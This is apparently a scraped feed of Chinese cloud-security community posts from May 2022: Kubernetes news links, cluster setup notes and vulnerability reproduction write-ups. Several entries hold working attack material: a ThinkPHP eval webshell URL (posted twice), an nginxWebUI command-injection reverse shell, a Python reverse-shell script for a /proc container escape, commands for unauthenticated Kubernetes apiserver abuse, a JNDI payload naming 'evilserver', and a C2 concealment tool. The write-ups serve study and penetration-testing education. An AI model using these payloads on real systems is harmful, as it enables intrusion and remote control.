version.tf 一般是放和版本信息有关的代码,例如这里就是声明了 Provider 来源为 tencentcloud 且版本为 1.72.5,Provider 在这里可以理解成「提供云服务的厂商」的意思。
terraform { required_providers { tencentcloud = { source = "tencentcloudstack/
2022年5月30日 11:32火线zone
简单的k8s+istio环境搭建
https://zone.huoxian.cn/d/1216-k8sistio
lxcfs cgroup错误配置容器逃逸漏洞
https://zone.huoxian.cn/d/1215-lxcfs-cgroup
云服务安全漏洞汇总
https://github.com/hashishrajan/cloud-security-vulnerabilities
Flux 的 KubeCon Europe 2022 总结
https://www.cncf.io/blog/2022/05/27/fluxs-kubecon-europe-2022-wrap-up/
腾讯云轻量服务器管理工具
https://www.qqvps.com/d/1011
K8S 提权漏洞之 CVE-2018-1002105
https://mp.weixin.qq.com/s/0f38L0Mp0tjy3xYeiboBdw
还怕记不住 Kubectl 命令?K9s 太强大了
https://mp.weixin.qq.com/s/U6VT8RrNH69E9Tf2VzOEcQ
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年5月30日 10:31火线zone
年轻人的第一个k8s集群
https://github.com/Ithrael/terraformk8s
阿里云ack pro托管版集群
k8s version 1.22.3
worker 2台 ecs.c7.xlarge ESSD 40G
已安装istio
按量付费:2.92元/时+流量费
使用
创建集群
已经build好docker image,可以直接使用,也可以git clone项目后自己build
建议直接使用build好的image,自己在本地build的话,terraform init和安装istio这两步会比较慢。可以借助gitlab action来build
docker pull registry.cn-hangzhou.aliyuncs.com/ithrael123/k8sclient:v1.0 docker run -it registry.cn-hangzhou.aliyuncs.com/ithrael123/k8sclient:v1.0 bash
使用vim修改variables.tf中的access_key和secret_key为自己阿里云的key和secret
在build docker时已经init过了,所以此处可以不需要terraform init
terraform plan terraform apply
会要求我们输入 yes
输入后会显示如下信息

等待一会(大约10分钟左右),看到如下结果表示集群创建成功

配置kubectl
登录aliyun,打开k8s集群后台 https://cs.console.aliyun.com/#/k8s/cluster/list
找到刚我们创建好集群的连接信息

将公网访问里的内容复制到 /root/.kube/config文件里
然后验证一下,执行
kubectl get ns
有如下图所示信息则表明kubectl配置成功

配置istio
cd /root/istio-1.13.4/ sh istio_install.sh
有下图所示信息则表明istio配置成功,并部署好了demo服务

等pod变成running状态,即可在浏览器打开输出的url进行访问
kubectl get po
2022年5月27日 17:32火线zone
环境部署
使用vulhub进行部署https://vulhub.org/,具体参考百度即可。
启动环境
访问环境
漏洞利用条件
thinkphp2.x或ThinkPHP3.0[因3.0版本Lite模式下没有修复该漏洞] && PHP版本为5.6.29以下

通过报错和查看网络报文可以看到thinkphp为2.1版本,PHP为5.5.38。
漏洞利用
查看phpinfo
http://xxxxx:8080/index.php?s=/index/index/xxx/${@phpinfo()}

构造一句话木马
http://xxxxx:8080/index.php?s=/index/index/xxx/${@print(eval($_POST[1]))}
这里直接将url构造好,复制到蚁剑一键连接即可,此方法不需要将一句话木马写到服务器上。

到此漏洞利用结束。
漏洞原理
漏洞存在的文件:/ThinkPHP/Lib/Think/Util/Dispatcher.class.php

关键漏洞代码
self::getPathInfo(); if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/')); $var = array(); if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){ $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : ''; if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) { // 禁止直接访问分组 exit; } } if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称 $var[C('VAR_MODULE')] = array_shift($paths); } $var[
2022年5月27日 16:32火线zone
前言
继续学习容器逃逸知识:容器挂载的LXCFS目录包含cgroup目录时,可进行容器逃逸到宿主机。
漏洞介绍
lxcfs 是一个开源的FUSE(用户态文件系统)实现来支持LXC容器,它也可以支持Docker容器。
当pod挂载了LXCFS目录包含CGOURP目录,并且对CGROUP有写权限。
LXCFS简介
lxcfs 是一个开源的FUSE(用户态文件系统)实现来支持LXC容器,它也可以支持Docker容器。
LXCFS通过用户态文件系统,在容器中提供下列 procfs 的文件:
/proc/cpuinfo /proc/diskstats /proc/meminfo /proc/stat /proc/swaps /proc/uptime
比如,把宿主机的 /var/lib/lxcfs/proc/memoinfo 文件挂载到Docker容器的/proc/meminfo位置后。容器中进程读取相应文件内容时,LXCFS的FUSE实现会从容器对应的Cgroup中读取正确的内存限制(Linux利用Cgroup实现了对容器的资源限制)。从而使得应用获得正确的资源约束设定。
Docker环境下LXCFS使用:
安装:
wget https://copr-be.cloud.fedoraproject.org/results/ganto/lxd/epel-7-x86_64/00486278-lxcfs/lxcfs-2.0.5-3.el7.centos.x86_64.rpm yum install lxcfs-2.0.5-3.el7.centos.x86_64.rpm
启动:
lxcfs /var/lib/lxcfs &
运行容器并测试:
docker run -it -m 256m \ -v /var/lib/lxcfs/proc/cpuinfo:/proc/cpuinfo:rw \ -v /var/lib/lxcfs/proc/diskstats:/proc/diskstats:rw \ -v /var/lib/lxcfs/proc/meminfo:/proc/meminfo:rw \ -v /var/lib/lxcfs/proc/stat:/proc/stat:rw \ -v /var/lib/lxcfs/proc/swaps:/proc/swaps:rw \ -v /var/lib/lxcfs/proc/uptime:/p
2022年5月27日 16:32火线zone
0x00 介绍
工具介绍
RedGuard,是一款C2设施前置流量控制技术的衍生作品,有着更加轻量的设计、高效的流量交互、以及使用go语言开发具有的可靠兼容性。它所解决的核心问题也是在面对日益复杂的红蓝攻防演练行动中,给予攻击队更加优秀的C2基础设施隐匿方案,赋予C2设施的交互流量以流量控制功能,拦截那些“恶意”的分析流量,更好的完成整个攻击任务。
RedGuard是一个C2设施前置流量控制工具,可以避免Blue Team,AVS,EDR,Cyberspace Search Engine的检查。
应用场景
攻防演练中防守方根据态势感知平台针对C2交互流量的分析溯源
防范云沙箱环境下针对木马样本的恶意分析
阻止恶意的请求来实施重放攻击,实现混淆上线的效果
在明确上线服务器IP的情况下,以白名单的方式限制访问交互流量的请求
防范网络空间测绘技术针对C2设施的扫描识别,并重定向或拦截扫描探针的流量
支持对多个C2服务器的前置流量控制,并可实现域前置的效果实现负载均衡上线,达到隐匿的效果
能够通过请求IP反查API接口针对根据 IP 地址的归属地进行地域性的主机上线限制
通过目标请求的拦截日志分析蓝队溯源行为,可用于跟踪对等连接事件/问题
具有自定义对样本合法交互的时间段进行设置,实现仅在工作时间段内进行流量交互的功能
Malleable C2 Profile 解析器能够严格根据 malleable profile验证入站 HTTP/S 请求,并在违规情况下丢弃外发数据包(支持Malleable Profiles 4.0+)
内置大量与安全厂商相关联的设备、蜜罐、云沙箱的IPV4地址黑名单,实现自动拦截重定向请求流量
可通过自定义工具与样本交互的SSL证书信息、重定向URL,以规避工具流量的固定特征
..........
0x01 安装
可以直接下载并使用已经编译好的版本,也可以远程下载go包进行自主编译执行。
git clone https://github.com/wikiZ/RedGuard.git cd RedGuard # 也可以使用upx压缩编译后的文件体积 go build -ldflags "-s -w" # 赋予工具可执行权限,并进行初始化操作 chmod +x ./RedGuard&&./RedGuard
0x02 配置说明
初始化
如下图,首先对RedGuard赋予可执行权限并进行初始化操作,第一次
2022年5月27日 15:32火线zone
环境部署
使用vulhub进行部署https://vulhub.org/,具体参考百度即可。
启动环境
访问环境
漏洞利用条件
thinkphp2.x或ThinkPHP3.0[因3.0版本Lite模式下没有修复该漏洞] && PHP版本为5.6.29以下

通过报错和查看网络报文可以看到thinkphp为2.1版本,PHP为5.5.38。
漏洞利用
查看phpinfo
http://xxxxx:8080/index.php?s=/index/index/xxx/${@phpinfo()}

构造一句话木马
http://xxxxx:8080/index.php?s=/index/index/xxx/${@print(eval($_POST[1]))}
这里直接将url构造好,复制到蚁剑一键连接即可,此方法不需要将一句话木马写到服务器上。

到此漏洞利用结束。
漏洞原理
漏洞存在的文件:/ThinkPHP/Lib/Think/Util/Dispatcher.class.php

关键漏洞代码
self::getPathInfo(); if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/')); $var = array(); if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){ $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : ''; if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) { // 禁止直接访问分组 exit; } } if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称 $var[C('VAR_MODULE')] = array_shift($paths); } $var[
2022年5月27日 11:32火线zone
k8s中各组件和kube apiserver通信时的认证和鉴权
https://zone.huoxian.cn/d/1211-k8skube-apiserver
火线安全云:企业邮箱网络钓鱼风险分析
https://mp.weixin.qq.com/s/MU0zhINK7A6EpfhnayJiEQ
9 个 CNCF的自动化和配置工具
https://containerjournal.com/features/9-cncf-tools-for-automation-and-configuration/
Kubernetes ephemeral 容器安全
https://www.cncf.io/blog/2022/05/24/kubernetes-ephemeral-container-security/
与 Kubernetes admissions 控制器的新集成
https://www.lacework.com/blog/new-integration-with-kubernetes-admissions-controller/
公开未授权访问的 Kubernetes 集群安全性分析
https://www.trendmicro.com/en_us/research/22/e/the-fault-in-our-kubelets-analyzing-the-security-of-publicly-exposed-kubernetes-clusters.html
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年5月26日 20:01火线zone
背景
和master节点kube api-server通信的组件有很多,包括:
kubelet
calico
scheduler
kubectl
某些pod可能会和kube api-server通信
这些组件和api-server通信时用的是什么身份,可以操作哪些api资源呢?
本文使用的k8s集群是用kubekey搭建,命令是./kk create cluster --with-kubernetes v1.21.5 --with-kubesphere v3.2.1
kubectl的身份和权限
kubectl用的是什么身份?
kubectl默认会用到.kube/config配置,其中包含证书信息
root@ip-172-31-14-204:~# cat .kube/config apiVersion: v1 ... users: - name: kubernetes-admin user: client-certificate-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURJVENDQWdtZ0F3SUJBZ0lJSm9rTE5qWVk0UG93RFFZSktvWklodmNOQVFFTEJRQXdGVEVUTUJFR0ExVUUKQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB5TWpBMU1qVXdNRE13TURWYUZ3MHlNekExTWpVd01ETXdNRFphTURReApGekFWQmdOVkJBb1REbk41YzNSbGJUcHRZWE4wWlhKek1Sa3dGd1lEVlFRREV4QnJkV0psY201bGRHVnpMV0ZrCmJXbHVNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTI5L25vcEVJWE9JVXl0MngKRUFETUNod01idkhaWU90c2xYdFBsYnNYRXJPOXpmYzBIMi9UV2p2dUFHUDRwaVhPaG5sSnYvRmtKTVVCbk1HWgpmV3VrdU1vTStOSDZkMERFVjlsMUNYUk9BOEhlRStacXBtYmVvbTV3SWdsYlZIeXFzdTZNb2VySTZkYnFqcEdSCmpJUzVyb0tNQU94OFNYRlJxUFZaaEtIdkhFUTk2RE
2022年5月26日 18:31火线zone
前言
年初的时候,做代码审计的时候whippet师傅给分享下面的这个漏洞,所以拿出来分析一下,确实是个0day,不是,还没人分析过,或许是nday???有意思的点儿可能在实现RCE的地方吧。
介绍
nig****UI可以使用WebUI配置nginx的各项功能, 包括http协议转发, tcp协议转发, 反向代理, 负载均衡, ssl证书自动申请、续签、配置等, 最终生成nginx.conf文件并覆盖nginx的默认配置文件, 完成nginx的最终功能配置。
环境搭建
下载源文件直接启动
下载地址github下载源码,手动搜索即可,当前版本为2.7.5
访问8090端口即可
如果自己本地不想安装nginx的话,跳过安装步骤,更改访问目录。
使用docker搭建。搭建环境Ubuntu16.04
拉取镜像
docker pull cym1102/nginxwebui:latest
docker run -itd -v /home/nginxWebUI:/home/nginxWebUI -e BOOT_OPTIONS="--server.port=8080" --privileged=true --net=host cym1102/nginxwebui:latest
docker ps
访问
http://192.168.166.130:8080
初始化管理员设置之后登录
命令执行
漏洞触发点
远程服务器->批量命令
执行ifconfig成功
这里使用whoami的时候容易看不到,刚开始以为不能执行,,,,
可以尝试创建一个文件
ls查看创建成功
当然在构造payload的时候拼接语句的话只要符合linux语法都可。
实现RCE
本来是想能不能直接反弹shell的
这里会直接将&符作为连接符去执行了,使用反斜杠去转译,反斜杠被转译为了双反斜杠,这里尝试了很久没绕过,有兴趣的师傅可以尝试一下
使用base64做编码反弹尝试
base编码格式这里会使用|符号,自然在这里这里行不通,因为直接执行了最后的命令,在linux下使用该符号执行命令,会自动执行最后的语句
使用\防转义
但是这里反斜杠被转译为了双反斜杠,那么这是行不通的,那么这个时候只能选择其它方式实现RCE,使用nc反弹
windows上起的nc,发现回连
此时使用nc反弹已经拿到了shell。
代码分析
后台自带启动功能,必定是能够使用命令去执行,这个点儿的话其实也
2022年5月26日 13:01火线zone
火线沙龙第25期-云原生应用安全专场
https://zone.huoxian.cn/d/1206-25
k8s常见组件配置不当利用记录
https://zone.huoxian.cn/d/1207-k8s
超过 38 万个开放的 Kubernetes API 服务器
https://www.shadowserver.org/news/over-380-000-open-kubernetes-api-servers/
自动化的 Azure 滥用研究 - 第一部分
https://securityboulevard.com/2022/05/automating-azure-abuse-research-part-1/
保护你的 AWS 环境安全的 6 个技巧
https://securityboulevard.com/2022/05/6-tips-for-successfully-securing-your-aws-environment/
了解容器安全 - 第二部分:安全建议
https://containerjournal.com/features/understanding-container-security-part-two-security-recommendations/
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年5月25日 18:31火线zone
请查收你的-Spring2022系列漏洞大礼包
1.Spring Cloud Gateway spel 远程代码执行(CVE-2022-22947)
2.Spring Cloud Function functionRouter SPEL代码执行漏洞(CVE-2022-22963)
Spring Framework RCE(CVE-2022-22965)
2022以来,spring被爆出来很多漏洞,之前没时间复现,现在来研究复现一番。
(前几天看见某千万抖音大佬模拟电信诈骗,身边的技术人员(装黑客)遍历磁盘文件的操作着实给我看笑了)
影响版本:
Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway 其他已不再更新的版本
1. Spring Cloud Gateway spel 远程代码执行(CVE-2022-22947)
1.1 预备工作
先来介绍下Spring Cloud Gateway,SpringCloud Gateway 是 Spring Cloud 的一个全新项目,该项目是基于 Spring 5.0,Spring Boot 2.0 和 Project Reactor 等技术开发的网关,它旨在为微服务架构提供一种简单有效的统一的 API 路由管理方式。
说白了一句话,它就是API网关
名词概念:
网关:一个网段的出入口
API网关:微服务的统一出入口
将所有前端请求发到API网关,又API网关经过负载均衡后发到对应微服务节点或微服务集群节点(不懂什么是微服务和集群的去百度,这两个词语的概念很简单)
1.2 漏洞利用
还是用vulhub靶场来搭建
先添加一个包含恶意SpEL表达式的路由
POST /actuator/gateway/routes/hacktest HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connec
2022年5月25日 18:01火线zone
渗透测试中的k8s各个组件未鉴权情况下如何利用都是需要去熟知的,这篇附上常见组件未授权或配置不当情况下如何攻击利用。
组件之间的关系:

对组建的介绍文章很多了,这里不介绍组件的基础,只记录如何利用。
Apiserver
apiserver有两个端口一个认证(Insecure-port ,8080端口,低版本才对外开放,1.20版本后默认不开)、一个不认证(secure-port,6443端口)。
能利用的情况是开放端口并且配置错误,这里的配置错误是将system:anonymous用户绑定到了cluster-admin用户组,那么匿名用户可以支配集群:
kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous
这种配置下可以拿到所有token后与api server交互,支配集群:

利用
使用kubectl和apiserver交互,或者就单纯curl来发包,效果都是一样的。
容器内下载kubectl:
curl -LO "https://dl.Kubernetes.io/release/$(curl -L -s https://dl.Kubernetes.io/release/stable.txt)/bin/linux/amd64/kubectl"
执行pod内命令:
kubectl -s 192.168.1.22:8080 get node #查看node kubectl -s 192.168.1.22:8080 get pods #查看pod kubectl -s 192.168.1.22:8080 get pods myapp-pod -o jsonpath={.spec.containers[*].name} #查看容器 kubectl -s 192.168.1.22:8080 --namespace=default my-pod --container main-app -- /bin/bash #对pod的容器shell
替换成curl的话也是一样的,把kubectl的包转成curl即可:

https://192.168.1.22:6443/api/v1/namespaces/default/pods/attacker https:/
2022年5月25日 15:31火线zone
在企业数字化转型发展和云原生环境中,企业安全威胁更加复杂,同时安全监管力度的加大也推动了应用安全行业的快速发展。
因此,云原生的发展对应用安全检测提出了更多的技术要求,为适应企业云原生场景下更加复杂的应用安全问题,本次沙龙将邀请云原生不同领域的研究专家,从不同视角剖析云原生应用安全的可见性。
|火线沙龙第25期|云原生应用安全专场
|时间|2022年5月28日(周六)19:00-21:00
|地点|火线安全——视频号直播间
沙龙议题
陈妍丨《云原生安全技术规范》解读
讲师介绍:博士 副研究员、公安部第三研究所检测中心云计算与公安大数据安全测评实验室负责人、CSA大中华区云应用安全工作组联席组长
议题介绍:介绍云原生相关概念、主要存在问题,给出云原生安全框架,并最终对于、云原生给出安全建议。
欧阳强斌丨软件供应链安全威胁与业界解决方案
讲师介绍:墨菲安全实验室负责人
议题介绍:随着软件及开源生态的发展,开源软件已经成为数字空间的基石。从Log4j2漏洞到node-ipc组件投毒,近年来自软件供应链安全威胁涌现,企业违反GPL许可证的案例也屡见不鲜。开源是更安全还是更不安全?我们将分享来自软件供应链的典型安全威胁,要解决这些问题面临着哪些挑战,以及业界不同组织在试图解决这些安全威胁中作出的解决方案。
曾垚丨Serverless应用安全浅谈
讲师介绍:火线安全联合创始人、安全负责人
议题介绍:随着各大云厂商及CNCF生态中逐步推出FaaS Serverless相关技术,大服务提高应用软件的开发效率降低应用维护成本,希望可以通过本次议题帮助开发者了解Serverless技术使用过程中存在的诸多安全风险。
沙龙流程
2022年5月25日 11:31火线zone
Proc 目录挂载逃逸漏洞
https://zone.huoxian.cn/d/1204-proc
k8s提权漏洞之CVE-2018-1002105
https://zone.huoxian.cn/d/1203-k8scve-2018-1002105
了解容器安全 - 第一部分:安全漏洞
https://containerjournal.com/features/understanding-container-security-part-one-security-gaps/
云安全的困惑:哪些框架确实是有帮助的?
https://nationalinterest.org/blog/techland-when-great-power-competition-meets-digital-world/cloud-security%C2%A0confusion-which
Oracle 增加 Services 以加强云安全
https://securityboulevard.com/2022/05/oracle-adds-services-to-strengthen-cloud-security/
什么是云计算?
https://securityboulevard.com/2022/05/what-is-cloud-computing/
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年5月24日 18:55火线zone
前言
linux中的/proc目录是一个伪文件系统,其中动态反应着系统内进程以及其他组件的状态。
当docker启动时将/proc目录挂载到容器内部时可以实现逃逸。
漏洞介绍
/proc/sys/kernel/core_pattern文件是负责进程奔溃时内存数据转储的,当第一个字符是管道符|时,后面的部分会以命令行的方式进行解析并运行。
利用该解析方式,我们可以进行容器逃逸。
漏洞利用
cdk关于该漏洞的exp
cdk将用户指定的shell命令指向宿主机/sys/kernel/core_pattern文件,在容器空间通过segment fault触发core dump,进而触发shellcode执行。
docker run -v /root/cdk:/cdk -v /proc:/mnt/host_proc --rm -it ubuntu bash ./cdk run mount-procfs /mnt/host_proc "touch /tmp/exp-success"
漏洞复现
以下复现内容参考自:
配置不当导致的容器逃逸 - Kingkk's Blog
https://www.kingkk.com/2021/01/%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8/
/tmp/.x.py 执行反弹shell操作
#!/usr/bin/python3 import os import pty import socket lhost = "172.17.0.1" lport = 10000 def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null') pty.spawn("/bin/bash") # os.remove('/tmp/.x.py') s.close() if __name__ == "__main__": main()
漏洞触发需
2022年5月24日 15:55火线zone
CVE-2018-1002105是k8s的一个提权漏洞,提权中利用高权限websocket通道来窃取凭据文件、利用凭据文件接管apiserver的过程还是比较有趣,这里记录CVE-2018-1002105漏洞原理和利用。
漏洞基础知识
基于角色的访问控制(Role-Based Access Control)
基于角色的访问控制(Role-Based Access Control,即”RBAC”)使rbac.authorization.k8s.io API Group 实现授权决策,允许管理员通过 Kubernetes API 动态配置策略。
要启用 RBAC,请使用 --authorization-mode=RBAC 启动 API Server。
RBAC API 声明了四种 Kubernetes 对象:
Role #一系列权限的集合,通常是命名空间 ClusterRole #一系列权限的集合,通常是无命名空间 RoleBinding ClusterRoleBinding
用户可以像使用其他 Kubernetes API 资源一样 (例如通过 kubectl、API 调用等)与这些资源进行交互。例如,命令 kubectl create -f (resource).yml。
在 RBAC API 中,一个角色包含了一套表示一组权限的规则。 权限以纯粹的累加形式累积(没有” 否定” 的规则)。 角色可以由命名空间(namespace)内的Role对象定义,而整个 Kubernetes 集群范围内有效的角色则通过 ClusterRole对象实现。
Role 对象
一个 Role 对象只能用于授予对某一单一命名空间中资源的访问权限。 以下示例描述了”default” 命名空间中的一个 Role 对象的定义,用于授予对pod的读访问权限:
kind: Role apiVersion: rbac.authorization.k8s.io/v1beta1 metadata: namespace: default name: pod-reader rules: - apiGroups: [""] resources: ["pods"] verbs: ["get", "watch", "list"]
ClusterRole 对象
ClusterRole 定义可用于授予用户对某一特定命名空间,或者所有命名空间中的secret的读访问
2022年5月24日 11:55火线zone
如何将 Emissary Ingress 与 OPA 结合起来?
https://www.infracloud.io/blogs/emissary-ingress-opa-integration/
KubeCon + CloudNativeCon Europe 2022 视频
https://shorturl.at/iAFK2
用 CloudTrail 和 Sysdig 保护亚马逊 EC2 的安全
https://malware.news/t/securing-amazon-ec2-with-cloudtrail-and-sysdig/60380
Fairwinds 融汇了 Kubernetes 的安全和治理
https://containerjournal.com/features/fairwinds-melds-kubernetes-security-and-governance/
K8S源码编译到远程调试笔记
https://mp.weixin.qq.com/s/w22Y-FAzdUm9ViV5oJHBXQ
为 DevOps 流水线准备的 macOS 虚拟化工具
https://mp.weixin.qq.com/s/7KPikDizV6WPhAwTFjtGCA
如何从 Kubernetes 节点权限提升至集群管理员权限?
https://github.com/neargle/my-re0-k8s-security/blob/main/paper/1.%E5%A6%82%E4%BD%95%E4%BB%8EKubernetes%E8%8A%82%E7%82%B9%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87%E8%87%B3%E9%9B%86%E7%BE%A4%E7%AE%A1%E7%90%86%E5%91%98%E6%9D%83%E9%99%90.md
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年5月23日 17:54火线zone
JNDI介绍
Java命名和目录接口是Java编程语言中接口的名称( JNDI )。它是一个API(应用程序接口),与服务器一起工作,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。可以使用命名约定从数据库获取文件。JNDI为Java⽤户提供了使⽤Java编码语⾔在Java中搜索对象的⼯具。
简单来说呢,JNDI相当与是Java里面的一个api,它可以通过命名来查找数据和对象。
JNDI注入原理
JNDI中有两个方法:
bind() :作用是将名称绑定到对象里面
lookup() :作用是通过名字检索执行的对象
JNDI注入简单来说就是在JNDI接口在初始化时,如果lookup()方法的参数可控,攻击者就可以将恶意的url传入参数加载恶意的类。
import javax.naming.InitialContext; import javax.naming.NamingException; public class jndi { public static void main(String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1099/work"; InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用 initialContext.lookup(uri);//获取指定的远程对象 } }
jndi注入利用常见的两种方法是JNDI+RMI和JNDI+LDAP注入
JNDI+RMI
RMI远程调用是指,一个JVM中的代码可以通过网络实现远程调用另一个JVM的某个方法
攻击者可以构造payload:rmi://evilserver:9999/payload 来加载恶意的类。
**这里注意,在JDK 6u132, JDK 7u122, JDK 8u113及其之后版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase 、com.sun.jndi.cosnaming.object.trustURLCodebase 默认值为 **false,即默认不允许从远程的 Codebase 加载 Reference 工厂类。目标环境需要JDK符合版本,或者将这个属性设置为 true 才能使用 JNDI+RMI注